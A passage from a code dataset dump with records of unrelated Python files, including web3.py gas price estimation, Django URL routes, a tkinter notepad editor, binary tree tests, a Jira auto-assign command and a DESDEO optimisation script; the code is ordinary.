1\n\n#前面的数据都能准确爬出,但是到进一步解析就不能爬\n def parse_detail(self, response):\n detail = response.xpath('//*[@id=\"playerBoxIntroCon\"]/text()')[0].extract()\n item = response.meta['item']\n item[\"detail\"] = detail\n yield item\n","repo_name":"qingfeng0987/spidermovies","sub_path":"stockstar/stockstar/spiders/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36668359289","text":"import collections\nimport math\nimport operator\nfrom typing import (\n Iterable,\n Sequence,\n Tuple,\n)\n\nfrom eth_typing import (\n ChecksumAddress,\n)\nfrom eth_utils import (\n to_tuple,\n)\nfrom eth_utils.toolz import (\n curry,\n groupby,\n sliding_window,\n)\nfrom hexbytes import (\n HexBytes,\n)\n\nfrom web3 import (\n Web3,\n)\nfrom web3._utils.math import (\n percentile,\n)\nfrom web3.exceptions import (\n InsufficientData,\n Web3ValidationError,\n)\nfrom web3.types import (\n BlockNumber,\n GasPriceStrategy,\n TxParams,\n Wei,\n)\n\nMinerData = collections.namedtuple(\n \"MinerData\", [\"miner\", \"num_blocks\", \"min_gas_price\", \"low_percentile_gas_price\"]\n)\nProbability = collections.namedtuple(\"Probability\", [\"gas_price\", \"prob\"])\n\n\ndef _get_avg_block_time(w3: Web3, sample_size: int) -> float:\n latest = w3.eth.get_block(\"latest\")\n\n constrained_sample_size = min(sample_size, latest[\"number\"])\n if constrained_sample_size == 0:\n raise Web3ValidationError(\"Constrained sample size is 0\")\n\n oldest = w3.eth.get_block(BlockNumber(latest[\"number\"] - constrained_sample_size))\n return (latest[\"timestamp\"] - oldest[\"timestamp\"]) / constrained_sample_size\n\n\ndef _get_weighted_avg_block_time(w3: Web3, sample_size: int) -> float:\n latest_block_number = w3.eth.get_block(\"latest\")[\"number\"]\n constrained_sample_size = min(sample_size, latest_block_number)\n if constrained_sample_size == 0:\n raise Web3ValidationError(\"Constrained sample size is 0\")\n oldest_block = w3.eth.get_block(\n BlockNumber(latest_block_number - constrained_sample_size)\n )\n oldest_block_number = oldest_block[\"number\"]\n prev_timestamp = oldest_block[\"timestamp\"]\n weighted_sum = 0.0\n sum_of_weights = 0.0\n for i in range(oldest_block_number + 1, latest_block_number + 1):\n curr_timestamp = w3.eth.get_block(BlockNumber(i))[\"timestamp\"]\n time = curr_timestamp - prev_timestamp\n weight = (i - oldest_block_number) / constrained_sample_size\n weighted_sum += time * weight\n sum_of_weights += weight\n prev_timestamp = curr_timestamp\n return weighted_sum / sum_of_weights\n\n\ndef _get_raw_miner_data(\n w3: Web3, sample_size: int\n) -> Iterable[Tuple[ChecksumAddress, HexBytes, Wei]]:\n latest = w3.eth.get_block(\"latest\", full_transactions=True)\n\n for transaction in latest[\"transactions\"]:\n # type ignored b/c actual transaction is TxData not HexBytes\n yield (latest[\"miner\"], latest[\"hash\"], transaction[\"gasPrice\"]) # type: ignore\n\n block = latest\n\n for _ in range(sample_size - 1):\n if block[\"number\"] == 0:\n break\n\n # we intentionally trace backwards using parent hashes rather than\n # block numbers to make caching the data easier to implement.\n block = w3.eth.get_block(block[\"parentHash\"], full_transactions=True)\n for transaction in block[\"transactions\"]:\n # type ignored b/c actual transaction is TxData not HexBytes\n yield (block[\"miner\"], block[\"hash\"], transaction[\"gasPrice\"]) # type: ignore # noqa: E501\n\n\ndef _aggregate_miner_data(\n raw_data: Iterable[Tuple[ChecksumAddress, HexBytes, Wei]]\n) -> Iterable[MinerData]:\n data_by_miner = groupby(0, raw_data)\n\n for miner, miner_data in data_by_miner.items():\n _, block_hashes, gas_prices = map(set, zip(*miner_data))\n try:\n # types ignored b/c mypy has trouble inferring gas_prices: Sequence[Wei]\n price_percentile = percentile(gas_prices, percentile=20) # type: ignore\n except InsufficientData:\n price_percentile = min(gas_prices) # type: ignore\n yield MinerData(\n miner,\n len(set(block_hashes)),\n min(gas_prices), # type: ignore\n price_percentile,\n )\n\n\n@to_tuple\ndef _compute_probabilities(\n miner_data: Iterable[MinerData], wait_blocks: int, sample_size: int\n) -> Iterable[Probability]:\n \"\"\"\n Computes the probabilities that a txn will be accepted at each of the gas\n prices accepted by the miners.\n \"\"\"\n miner_data_by_price = tuple(\n sorted(\n miner_data,\n key=operator.attrgetter(\"low_percentile_gas_price\"),\n reverse=True,\n )\n )\n for idx in range(len(miner_data_by_price)):\n low_percentile_gas_price = miner_data_by_price[idx].low_percentile_gas_price\n num_blocks_accepting_price = sum(\n m.num_blocks for m in miner_data_by_price[idx:]\n )\n inv_prob_per_block = (sample_size - num_blocks_accepting_price) / sample_size\n probability_accepted = 1 - inv_prob_per_block**wait_blocks\n yield Probability(low_percentile_gas_price, probability_accepted)\n\n\ndef _compute_gas_price(\n probabilities: Sequence[Probability], desired_probability: float\n) -> Wei:\n \"\"\"\n Given a sorted range of ``Probability`` named-tuples returns a gas price\n computed based on where the ``desired_probability`` would fall within the\n range.\n\n :param probabilities: An iterable of `Probability` named-tuples\n sorted in reverse order.\n :param desired_probability: An floating point representation of the desired\n probability. (e.g. ``85% -> 0.85``)\n \"\"\"\n first = probabilities[0]\n last = probabilities[-1]\n\n if desired_probability >= first.prob:\n return Wei(int(first.gas_price))\n elif desired_probability <= last.prob:\n return Wei(int(last.gas_price))\n\n for left, right in sliding_window(2, probabilities):\n if desired_probability < right.prob:\n continue\n elif desired_probability > left.prob:\n # This code block should never be reachable as it would indicate\n # that we already passed by the probability window in which our\n # `desired_probability` is located.\n raise Exception(\"Invariant\")\n\n adj_prob = desired_probability - right.prob\n window_size = left.prob - right.prob\n position = adj_prob / window_size\n gas_window_size = left.gas_price - right.gas_price\n gas_price = int(math.ceil(right.gas_price + gas_window_size * position))\n return Wei(gas_price)\n else:\n # The initial `if/else` clause in this function handles the case where\n # the `desired_probability` is either above or below the min/max\n # probability found in the `probabilities`.\n #\n # With these two cases handled, the only way this code block should be\n # reachable would be if the `probabilities` were not sorted correctly.\n # Otherwise, the `desired_probability` **must** fall between two of the\n # values in the `probabilities``.\n raise Exception(\"Invariant\")\n\n\n@curry\ndef construct_time_based_gas_price_strategy(\n max_wait_seconds: int,\n sample_size: int = 120,\n probability: int = 98,\n weighted: bool = False,\n) -> GasPriceStrategy:\n \"\"\"\n A gas pricing strategy that uses recently mined block data to derive a gas\n price for which a transaction is likely to be mined within X seconds with\n probability P. If the weighted kwarg is True, more recent block\n times will be more heavily weighted.\n\n :param max_wait_seconds: The desired maximum number of seconds the\n transaction should take to mine.\n :param sample_size: The number of recent blocks to sample\n :param probability: An integer representation of the desired probability\n that the transaction will be mined within ``max_wait_seconds``. 0 means 0%\n and 100 means 100%.\n \"\"\"\n\n def time_based_gas_price_strategy(w3: Web3, transaction_params: TxParams) -> Wei:\n # return gas price when no transactions available to sample\n if w3.eth.get_block(\"latest\")[\"number\"] == 0:\n return w3.eth.gas_price\n\n if weighted:\n avg_block_time = _get_weighted_avg_block_time(w3, sample_size=sample_size)\n else:\n avg_block_time = _get_avg_block_time(w3, sample_size=sample_size)\n\n wait_blocks = int(math.ceil(max_wait_seconds / avg_block_time))\n raw_miner_data = _get_raw_miner_data(w3, sample_size=sample_size)\n miner_data = _aggregate_miner_data(raw_miner_data)\n\n probabilities = _compute_probabilities(\n miner_data,\n wait_blocks=wait_blocks,\n sample_size=sample_size,\n )\n\n gas_price = _compute_gas_price(probabilities, probability / 100)\n return gas_price\n\n return time_based_gas_price_strategy\n\n\n# fast: mine within 1 minute\nfast_gas_price_strategy = construct_time_based_gas_price_strategy(\n max_wait_seconds=60,\n sample_size=120,\n)\n# medium: mine within 10 minutes\nmedium_gas_price_strategy = construct_time_based_gas_price_strategy(\n max_wait_seconds=600,\n sample_size=120,\n)\n# slow: mine within 1 hour (60 minutes)\nslow_gas_price_strategy = construct_time_based_gas_price_strategy(\n max_wait_seconds=60 * 60,\n sample_size=120,\n)\n# glacial: mine within the next 24 hours.\nglacial_gas_price_strategy = construct_time_based_gas_price_strategy(\n max_wait_seconds=24 * 60 * 60,\n sample_size=720,\n)\n","repo_name":"ethereum/web3.py","sub_path":"web3/gas_strategies/time_based.py","file_name":"time_based.py","file_ext":"py","file_size_in_byte":9169,"program_lang":"python","lang":"en","doc_type":"code","stars":4510,"dataset":"github-code","pt":"37"} +{"seq_id":"34261500709","text":"from django.contrib import admin\nfrom django.urls import path\nfrom .import views\nfrom django.urls import reverse\n\n\nurlpatterns = [\n path('index/',views.index,name='index'),\n path('register/',views.register,name='register'),\n path('',views.user_login,name='login'),\n path('logout/',views.user_logout,name='logout'),\n path('forgot-password/',views.forgot_password,name='forgot-password'),\n path('setting/',views.setting,name='setting'),\n path('profile/',views.profile,name='profile'),\n path('edit-profile/',views.edit_profile,name='edit-profile'),\n path('search/',views.search,name='search'),\n path('edit-post/',views.edit_post,name='edit-post'),\n path('delete-post/',views.delete_post,name='delete-post'),\n path('view-profile/',views.view_profile,name='view-profile'),\n path('follow/',views.follow,name='follow'),\n path('like-post-profile', views.like_post_profile, name='like-post-profile'),\n path('like-post', views.like_post, name='like-post'),\n path('comment/',views.comment, name='comment'),\n path('view-comment/',views.view_comment, name='view-comment'),\n\n]","repo_name":"varmajay/social-media","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11958527698","text":"spam = '1, 2, 3'\r\n\r\ndef eggs (cheese):\r\n chees = '1, 2, 3, Hello'\r\n \r\n\r\neggs(spam)\r\nprint(spam)\r\nprint() \r\n\r\nspam = [1, 2, 3]\r\n\r\ndef eggs (cheese):\r\n cheese.append('Hello')\r\n \r\n\r\neggs(spam)\r\nprint(spam)\r\nprint()\r\n\r\nimport copy\r\n\r\nspam = ['A', 'B', 'C', 'D']\r\nspam2 = spam\r\ncheese = copy.deepcopy(spam)\r\ncheese2 = cheese\r\nprint('cheese2 = ' + str(cheese2))\r\ncheese[1] = 42\r\n\r\nprint(spam)\r\nprint(cheese)\r\n\r\nprint(spam2)\r\nprint(cheese2)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"goliksa/Python","sub_path":"7.mutable_VS_immutable.py","file_name":"7.mutable_VS_immutable.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7440651269","text":"from PIL import Image\nimport os\n\nElements = {\n ( 14, 209, 69):\"Block\",\n (236, 28, 36):\"Spik1\",\n (255, 127, 39):\"Spik2\",\n (255, 242, 0):\"Spik3\",\n (184, 61, 186):\"Spik4\",\n (140, 255, 251):\"JumpS\",\n ( 14, 209, 22):\"Spawn\",\n}\n\nimage = Image.open(os.path.join(\"assets\", \"Map-design\", \"Convert_Map.png\")).convert(\"RGB\")\n\nMap = []\n\nfor row in range(0, 30):\n Map.append([])\n for col in range(0, 40):\n Map[row].append(Elements.get(image.getpixel((col, row)), \"Empty\"))\n\nwith open(\"SavedMap.txt\", \"w\") as mf:\n mf.write(\"[\\n\")\n for _ in Map:\n mf.write(\"[\")\n for _z in range(len(_)):\n if _z == len(_)-1:\n mf.write(f\"\\\"{_[_z]}\\\"\")\n else:\n mf.write(f\"\\\"{_[_z]}\\\",\")\n if _ == Map[-1]:\n mf.write(\"]\\n\")\n else:\n mf.write(\"],\\n\")\n print(*_)\n mf.write(\"]\")","repo_name":"LeeFuuChang/PixKour","sub_path":"LoadMap.py","file_name":"LoadMap.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3315358639","text":"from django.core.management.base import BaseCommand, CommandError\nfrom jira_webhook.dao.jira import JiraClient\n\n\nclass Command(BaseCommand):\n help = ('Assigns issues that have been fixed, but not assigned to'\n 'someone else')\n\n def add_arguments(self, parser):\n parser.add_argument('project')\n parser.add_argument('assignee')\n\n def handle(self, *args, **options):\n project = options.get('project')\n assignee = options.get('assignee')\n\n jira = JiraClient()\n\n issues = jira.search_issues((\n 'project = {} AND status = Resolved and resolution in (Fixed, '\n 'Completed) and (assignee != {} OR assignee IS EMPTY) and '\n 'updated < -15minute').format(project, assignee),\n expand='changelog', maxResults=1000)\n\n for issue in issues:\n has_assignee_change = False\n has_resolution = False\n changelog = issue.changelog\n changelog.histories.reverse()\n resolution_date = None\n\n for history in changelog.histories:\n for item in history.items:\n if item.field == 'assignee':\n if not has_resolution:\n has_assignee_change = True\n elif item.field == 'status':\n has_resolution = True\n\n if not has_assignee_change:\n jira.add_comment(\n issue, 'Auto assigning issue to {}'.format(assignee))\n jira.assign_issue(issue, assignee)\n","repo_name":"uw-it-aca/jira-webhook","sub_path":"jira_webhook/management/commands/auto_assign.py","file_name":"auto_assign.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35780312274","text":"\"\"\" Tests of binary tree implementation.\r\n\r\n \"BT\" is used here for Binary Tree, *not* BTree.\r\n\"\"\"\r\nimport binary_tree\r\nimport unittest\r\n\r\n\r\nclass TestBinaryTrees(unittest.TestCase):\r\n \"\"\" Tests of binary tree.\r\n \"\"\"\r\n def test_creation(self):\r\n \"\"\" Test the creation of a list.\r\n \"\"\"\r\n bt = binary_tree.BinaryTree()\r\n\r\n # The BT has an empty root node\r\n self.assertIs(bt.root_node, None)\r\n\r\n # But we can create one with a root node.\r\n bt = binary_tree.BinaryTree(binary_tree.Node('g'))\r\n\r\n self.assertEquals(bt.root_node.data, 'g')\r\n\r\n def test_population(self):\r\n \"\"\" We have a helper to populate the tree.\r\n \"\"\"\r\n bt = binary_tree.BinaryTree()\r\n\r\n bt.populate(['g', 'b', 't', 'z', 'c'])\r\n\r\n self.assertEquals(bt.root_node.data, 'g')\r\n\r\n self.assertEquals(bt.root_node.left.data, 'b')\r\n\r\n self.assertEquals(bt.root_node.left.right.data, 'c')\r\n\r\n def test_inorder(self):\r\n \"\"\" We print with an inorder representation.\r\n \"\"\"\r\n bt = binary_tree.BinaryTree()\r\n\r\n bt.populate(['g', 'b', 't', 'z', 'c'])\r\n\r\n self.assertEquals(bt.inorder(bt.root_node), ['b', 'c', 'g', 't', 'z'])\r\n\r\n self.assertEquals(bt.__str__(), 'b c g t z')\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"thisismyrobot/dsa","sub_path":"src/binary_tree_tests.py","file_name":"binary_tree_tests.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2329675384","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom tkinter import ttk\nfrom tkinter import font\nfrom tkinter import colorchooser\n\nroot = Tk()\nroot.title('note-orius')\n# root.iconbitmap('./assets/icons/slice_of_pizza.ico')\n# root.geometry(\"1200x700\")\n\nglobal open_status_name\nopen_status_name = False\n\nglobal selected\nselected = False\n\n\ndef new_file(e):\n # Delete previous text\n my_text.delete(\"1.0\", END)\n\n # Update status bars\n root.title('New File - note-orius')\n status_bar.config(text=\"New File \")\n\n global open_status_name\n open_status_name = False\n\ndef open_file(e):\n # Get Filename\n text_file = filedialog.askopenfilename(\n initialdir=\"/Users/sanshitsagar/Desktop\",\n title=\"Open File\",\n filetypes=((\"Text Files\", \"*.txt\"), (\"HTML Files\", \"*.html\"),\n (\"Python Files\", \"*.py\"), (\"All Files\", \"*.*\")))\n\n global open_status_name\n open_status_name = text_file\n\n if text_file:\n # Delete previous text\n my_text.delete(\"1.0\", END)\n\n # Update Status Bars\n name = text_file\n status_bar.config(text=f'{name} SAVED ')\n nameArr = name.split('/')\n\n if (len(nameArr) > 0):\n name = nameArr[len(nameArr) - 1]\n\n root.title(f'{name} - note-orius')\n\n # Open the file\n text_file = open(text_file, 'r')\n file_data = text_file.read()\n my_text.insert(END, file_data)\n text_file.close()\n\ndef save_as_file(e):\n # get user's desired output location\n prefix = \"/Users/sanshitsagar/Desktop/\"\n text_file = filedialog.asksaveasfilename(\n defaultextension=\".*\",\n initialdir=prefix,\n title=\"Save File\",\n filetypes=((\"Text Files\", \"*.txt\"), (\"HTML Files\", \"*.html\"),\n (\"Python Files\", \"*.py\"), (\"All Files\", \"*.*\")))\n if text_file:\n # Update Status Bars\n name = text_file\n status_bar.config(text=f'{name} ')\n \n nameArr = name.split('/')\n\n if (len(nameArr) > 0):\n name = nameArr[len(nameArr) - 1]\n\n root.title(f'{name} - note-orius')\n\n # Save the file\n text_file = open(text_file, 'w')\n text_file.write(my_text.get(1.0, END))\n\n # Close the file\n text_file.close()\n\ndef save_file(e):\n global open_status_name\n if open_status_name:\n #Save the file\n text_file = open(open_status_name, 'w')\n text_file.write(my_text.get(1.0, END))\n\n #Close the file\n text_file.close()\n status_bar.config(text=f'Saved: {name} ')\n else:\n save_as_file(e)\n\ndef cut_text(e):\n global selected\n if e:\n selected = root.clipboard_get()\n else:\n if my_text.selection_get():\n #Grab Selected Text\n selected = my_text.selection_get()\n #Delete Selected Text from text box\n my_text.delete(\"sel.first\", \"sel.last\")\n #Clear the clipboard then append\n root.clipboard_clear()\n root.clipboard_append(selected)\n\ndef copy_text(e):\n global selected\n \n # Check to see whether the board shortcut was used\n if e:\n selected = root.clipboard_get()\n # Update global selection\n if my_text.selection_get():\n # Grab Selected Text\n selected = my_text.selection_get()\n # Clear the clipboard and append\n root.clipboard_clear()\n root.clipboard_append(selected)\n\ndef paste_text(e):\n global selected\n\n # Check to see whether the board shortcut was used\n if e:\n selected = root.clipboard_get()\n else:\n if selected:\n position = my_text.index(INSERT)\n my_text.insert(position, selected)\n\ndef select_all_text(e): \n # Add sel tag to select all text \n my_text.tag_add('sel', '1.0', 'end')\n\ndef clear_all_text(e): \n my_text.delete(1.0, END)\n\ndef bold_it(): \n # Create Font\n bold_font = font.Font(my_text, my_text.cget(\"font\"))\n bold_font.configure(weight=\"bold\")\n\n # Configure and Define Tags\n my_text.tag_configure(\"bold\", font=bold_font)\n current_tags = my_text.tag_names(\"sel.first\")\n\n # Check if the \"bold\" Tag has been set\n if \"bold\" in current_tags: \n my_text.tag_remove(\"bold\", \"sel.first\", \"sel.last\")\n else: \n my_text.tag_add(\"bold\", \"sel.first\", \"sel.last\")\n\n# Italics Text\ndef italics_it(): \n # Create Font\n italics_font = font.Font(my_text, my_text.cget(\"font\"))\n italics_font.configure(slant=\"italic\")\n\n # Configure and Define Tags\n my_text.tag_configure(\"italic\", font=italics_font)\n current_tags = my_text.tag_names(\"sel.first\")\n\n # Check if the \"bold\" Tag has been set\n if \"italic\" in current_tags: \n my_text.tag_remove(\"italic\", \"sel.first\", \"sel.last\")\n else: \n my_text.tag_add(\"italic\", \"sel.first\", \"sel.last\")\n\n# Change Selected Text Color\ndef change_selected_text_color(): \n # Prompt the user for a color\n my_color = colorchooser.askcolor()[1]\n \n if my_color:\n # Create Font\n color_font = font.Font(my_text, my_text.cget(\"font\"))\n \n # Configure and Define Tags\n my_text.tag_configure(\"colored\", font=color_font, foreground=my_color)\n current_tags = my_text.tag_names(\"sel.first\")\n \n # Check if the \"bold\" Tag has been set\n if \"colored\" in current_tags:\n my_text.tag_remove(\"colored\", \"sel.first\", \"sel.last\")\n else:\n my_text.tag_add(\"colored\", \"sel.first\", \"sel.last\")\n\ndef change_all_text_color(): \n my_color = colorchooser.askcolor()[1]\n if my_color: \n my_text.config(fg=my_color)\n\ndef change_bg_color(): \n my_color = colorchooser.askcolor()[1]\n if my_color: \n my_text.config(bg=my_color)\n\ns = ttk.Style()\ns.theme_use('classic')\n\n# Create Toolbar Frame \ntoolbar_frame = ttk.Frame(root, padding=\"3 3 12 12\")\ntoolbar_frame.pack(fill=X)\n\n#Create Main Frame\nmy_frame = ttk.Frame(root, padding=\"3 3 12 12\")\nmy_frame.pack(pady=5)\n\n# Scrollbar for the TextBox\ntext_scroll = ttk.Scrollbar(my_frame)\ntext_scroll.pack(side=RIGHT, fill=Y, padx=5, pady=5)\n\nhor_scroll = ttk.Scrollbar(my_frame, orient=\"horizontal\")\nhor_scroll.pack(side=BOTTOM, fill=X, padx=5, pady=5)\n\n#Create Text Box\nmy_text = Text(my_frame,\n width=100,\n height=25,\n font=('Helvetica', 16),\n selectbackground=\"yellow\",\n selectforeground=\"black\",\n undo=True,\n yscrollcommand=text_scroll.set,\n wrap=\"none\",\n xscrollcommand=hor_scroll.set)\nmy_text.pack(pady=5, padx=5)\n\n# Configure Vertical and Horizontal Scroll Bars\ntext_scroll.config(command=my_text.yview)\nhor_scroll.config(command=my_text.xview)\n\n# Create Menu\nmy_menu = Menu(root)\nroot.config(menu=my_menu)\n\n# Add File Menu\nfile_menu = Menu(my_menu, tearoff=False)\nmy_menu.add_cascade(label=\"File\", menu=file_menu)\nfile_menu.add_command(label=\"New Ctrl+n\", command=lambda: new_file(False))\nfile_menu.add_command(label=\"Open Ctrl+o\", command=lambda: open_file(False))\nfile_menu.add_command(label=\"Save Ctrl+s\", command=lambda: save_file(True))\nfile_menu.add_command(label=\"Save As\", command=lambda: save_as_file(True))\nfile_menu.add_separator()\nfile_menu.add_command(label=\"Exit\", command=root.quit)\n\n# Add Edit Menu\nedit_menu = Menu(my_menu, tearoff=False)\nmy_menu.add_cascade(label=\"Edit\", menu=edit_menu)\nedit_menu.add_command(label=\"Cut Ctrl+x\", command=lambda: cut_text(False), accelerator=\"(Ctrl+x)\")\nedit_menu.add_command(label=\"Copy Ctrl+c\", command=lambda: copy_text(False), accelerator=\"(Ctrl+c)\")\nedit_menu.add_command(label=\"Paste Ctrl+v\", command=lambda: paste_text(False), accelerator=\"(Ctrl+v)\")\nedit_menu.add_separator()\nedit_menu.add_command(label=\"Undo Ctrl+z\", command=my_text.edit_undo, accelerator=\"(Ctrl+z)\")\nedit_menu.add_command(label=\"Redo Ctrl+y\", command=my_text.edit_redo, accelerator=\"(Ctrl+y)\")\nedit_menu.add_separator()\nedit_menu.add_command(label=\"Select All Ctrl+a\", command=lambda: select_all_text(False))\n# edit_menu.add_command(label=\"Clear Ctrl+y\", command=lambda: clear_all_text(False))\n\n# Add Color Menu\ncolor_menu = Menu(my_menu, tearoff=False)\nmy_menu.add_cascade(label=\"Colors\", menu=color_menu)\ncolor_menu.add_command(label=\"Selected Text\", command=change_selected_text_color)\ncolor_menu.add_command(label=\"All Text\", command=change_all_text_color)\ncolor_menu.add_command(label=\"Background\", command=change_bg_color)\n\n# Saved Status Bar\nstatus_bar = ttk.Label(root, text='Ready ', anchor=E)\nstatus_bar.pack(fill=X, side=BOTTOM, ipady=5)\n\n# File Bindings\nroot.bind('', new_file)\nroot.bind('', open_file)\nroot.bind('', save_file)\n\n# Edit Bindings\nroot.bind('', cut_text)\nroot.bind('', copy_text)\nroot.bind('', paste_text)\n\nroot.bind('', select_all_text)\n# root.bind('', clear_all_text)\n\n# Create Buttons\n\n# Bold Button\nbold_button = ttk.Button(toolbar_frame, text=\"Bold\", command=bold_it)\nbold_button.grid(row=0, column=0, sticky=W, padx = 5, pady=5)\n\n# Italics Button\nitalics_button = ttk.Button(toolbar_frame, text=\"Italics\", command=italics_it)\nitalics_button.grid(row=0, column=1, padx = 5, pady=5)\n\n# Undo/Redo Button\nundo_button = ttk.Button(toolbar_frame, text=\"Undo\", command=my_text.edit_undo)\nundo_button.grid(row=0, column=2, padx = 5, pady=5)\nredo_button = ttk.Button(toolbar_frame, text=\"Redo\", command=my_text.edit_redo)\nredo_button.grid(row=0, column=3, padx = 5, pady=5)\n\n# Text Color Button \ncolor_text_button = ttk.Button(toolbar_frame, text='Text Color', command=change_selected_text_color)\ncolor_text_button.grid(row=0, column=4, padx=5, pady=5)\n\nroot.mainloop()","repo_name":"Sanshit-sagar/notorious","sub_path":"sample/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":9834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6262476995","text":"from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom oscar.core.loading import get_class\nfrom oscar.forms.widgets import DatePickerInput\n\nGeneratorRepository = get_class(\"dashboard.reports.utils\", \"GeneratorRepository\")\n\n\nclass ReportForm(forms.Form):\n generators = GeneratorRepository().get_report_generators()\n\n type_choices = []\n for generator in generators:\n type_choices.append((generator.code, generator.description))\n report_type = forms.ChoiceField(\n widget=forms.Select(),\n choices=type_choices,\n label=_(\"Report Type\"),\n help_text=_(\"Only the offer and order reports use the selected date range\"),\n )\n\n date_from = forms.DateField(\n label=_(\"Date from\"), required=False, widget=DatePickerInput\n )\n date_to = forms.DateField(\n label=_(\"Date to\"),\n help_text=_(\"The report is inclusive of this date\"),\n required=False,\n widget=DatePickerInput,\n )\n download = forms.BooleanField(label=_(\"Download\"), required=False)\n\n def clean(self):\n date_from = self.cleaned_data.get(\"date_from\", None)\n date_to = self.cleaned_data.get(\"date_to\", None)\n if (\n all([date_from, date_to])\n and self.cleaned_data[\"date_from\"] > self.cleaned_data[\"date_to\"]\n ):\n raise forms.ValidationError(\n _(\"Your start date must be before your end date\")\n )\n return self.cleaned_data\n","repo_name":"django-oscar/django-oscar","sub_path":"src/oscar/apps/dashboard/reports/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":5941,"dataset":"github-code","pt":"37"} +{"seq_id":"25153868023","text":"import numpy as np\nimport pandas as pd\nimport math\n\n\nimport random\nimport scipy\n\nfrom desdeo_tools.utilities.pmod import get_pmod\nfrom desdeo_tools.utilities.pmda import get_pmda\nimport ehmetric as eh\nfrom desdeo_tools.utilities.rmetric import RMetric\n\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom desdeo_problem import variable_builder, MOProblem, VectorObjective\nfrom desdeo_problem.testproblems.TestProblems import test_problem_builder\nfrom sklearn.preprocessing import Normalizer\nfrom desdeo_emo.EAs import NSGAIII, RVEA, IOPIS_RVEA, IOPIS_NSGAIII, IBEA\n\nfrom desdeo_emo.utilities import animate_init_, animate_next_\n\nrefpoints_dtlz2_l = [[0.10, 0.10, 0.94],[0.10, 0.94, 0.10], [0.94, 0.10, 0.10], [0.7,0.6,0.55] ]\nrefpoints_dtlz2_d = [[0.20, 0.20, 0.85],[0.15, 0.25, 0.83], [0.18, 0.22, 0.80], [0.23,0.25,0.75] ]\n\nrefpoints_dtlz7 = [[0.11, 0.10, 5.4 ],[0.70, 0.14, 4.50], [0.76, 0.76, 3.5], [0.14, 0.70, 4.5] ]\n\nrefpoints = refpoints_dtlz2_d\nminimization = [True]*3 # for eh-metric\nrvea_solutions = []\nnsga_solutions = []\nRP = []\nn_interactions = 4\nn_obj = 3\nn_var = 8\nname = \"DTLZ2\"\nproblem = test_problem_builder(\n name=name, n_of_objectives=n_obj, n_of_variables=n_var\n )\nevolver_rvea = RVEA(problem, n_gen_per_iter=40, n_iterations=1, interact=True, total_function_evaluations= 60000 )#total_function_evaluations= 9000000\nevolver_nsga = NSGAIII(problem, n_gen_per_iter=40, n_iterations=1, interact=True, total_function_evaluations= 60000) #total_function_evaluations= 600000\n#evolver_nsga.translation_param = 0.3\n\n#evolver_nsga = IOPIS_RVEA(problem, n_gen_per_iter=500, n_iterations=1)\nproblem.ideal = np.asarray([0] * n_obj)\nproblem.ideal_fitness = problem.ideal\nproblem.nadir = abs(np.random.normal(size=n_obj, scale=0.15)) + 1\n\nnon_dominated = evolver_rvea.population.non_dominated_fitness()\n\nfor i in range(n_interactions):\n pref_rvea, plot_rvea = evolver_rvea.requests()\n pref_rvea[2].response = pd.DataFrame(\n [refpoints[i]], columns=pref_rvea[2].content[\"dimensions_data\"].columns\n )\n pref_nsga, plot_nsga = evolver_nsga.requests()\n pref_nsga[2].response = pd.DataFrame(\n [refpoints[i]], columns=pref_nsga[2].content[\"dimensions_data\"].columns\n )\n print(f\"Running iteration {evolver_rvea._iteration_counter+1}\")\n evolver_rvea.iterate(pref_rvea[2])\n evolver_nsga.iterate(pref_nsga[2]) #\n\n non_dominated_rvea = evolver_rvea.population.non_dominated_fitness()\n rvea_results = evolver_rvea.population.objectives[non_dominated_rvea]\n rvea_solutions.append(rvea_results)\n\n non_dominated_nsga = evolver_nsga.population.non_dominated_fitness()\n nsga_results = evolver_nsga.population.objectives[non_dominated_nsga]\n nsga_solutions.append(nsga_results)\n \n ","repo_name":"ppouyaa/desirable-properties-master","sub_path":"notebooks/firsttry.py","file_name":"firsttry.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38428466639","text":"def iup_segment(coords, rc1, rd1, rc2, rd2):\n\t# rc1 = reference coord 1\n\t# rd1 = reference delta 1\n\tout_arrays = [None, None]\n\tfor j in 0,1:\n\t\tout_arrays[j] = out = []\n\t\tx1, x2, d1, d2 = rc1[j], rc2[j], rd1[j], rd2[j]\n\n\n\t\tif x1 == x2:\n\t\t\tn = len(coords)\n\t\t\tif d1 == d2:\n\t\t\t\tout.extend([d1]*n)\n\t\t\telse:\n\t\t\t\tout.extend([0]*n)\n\t\t\tcontinue\n\n\t\tif x1 > x2:\n\t\t\tx1, x2 = x2, x1\n\t\t\td1, d2 = d2, d1\n\n\t\t# x1 < x2\n\t\tscale = (d2 - d1) / (x2 - x1)\n\t\tfor pair in coords:\n\t\t\tx = pair[j]\n\n\t\t\tif x <= x1:\n\t\t\t\td = d1\n\t\t\telif x >= x2:\n\t\t\t\td = d2\n\t\t\telse:\n\t\t\t\t# 